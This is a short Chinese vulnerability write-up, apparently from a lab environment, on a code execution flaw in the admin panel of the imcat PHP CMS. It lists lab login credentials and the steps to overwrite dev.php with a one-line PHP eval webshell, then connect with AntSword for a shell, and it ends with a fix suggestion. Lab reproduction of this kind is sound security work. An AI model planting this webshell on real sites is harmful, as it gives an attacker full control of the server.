漏洞描述:
贴心猫(imcat)是一款PHP+MySQL架构设计的通用网站系统,简约、轻量、实用、共享,永久开源免费。imcat后台存在代码执行漏洞。攻击者可利用此漏洞执行任意代码。
复现过程:
1.访问http://ip:port,出现如下页面,开始实验
2.访问http://ip:port/root/run/adm.php ,进入后台登录页面,并输入账号密码进行登录
账号:adm_vulfocus
密码:pass_vulfocus
3.在工具中找到DIY配置-搜索,选择入口配置,修改dev.php内容为php一句话木马
<?php @eval($_POST['cmd']); ?>
4.保存后,通过蚁剑连接,getshell
借此漏洞攻击者获取到网站的shell权限,控制整个网站,可以进行文件读取和命令执行。
修复建议:
1.关闭后台修改源码功能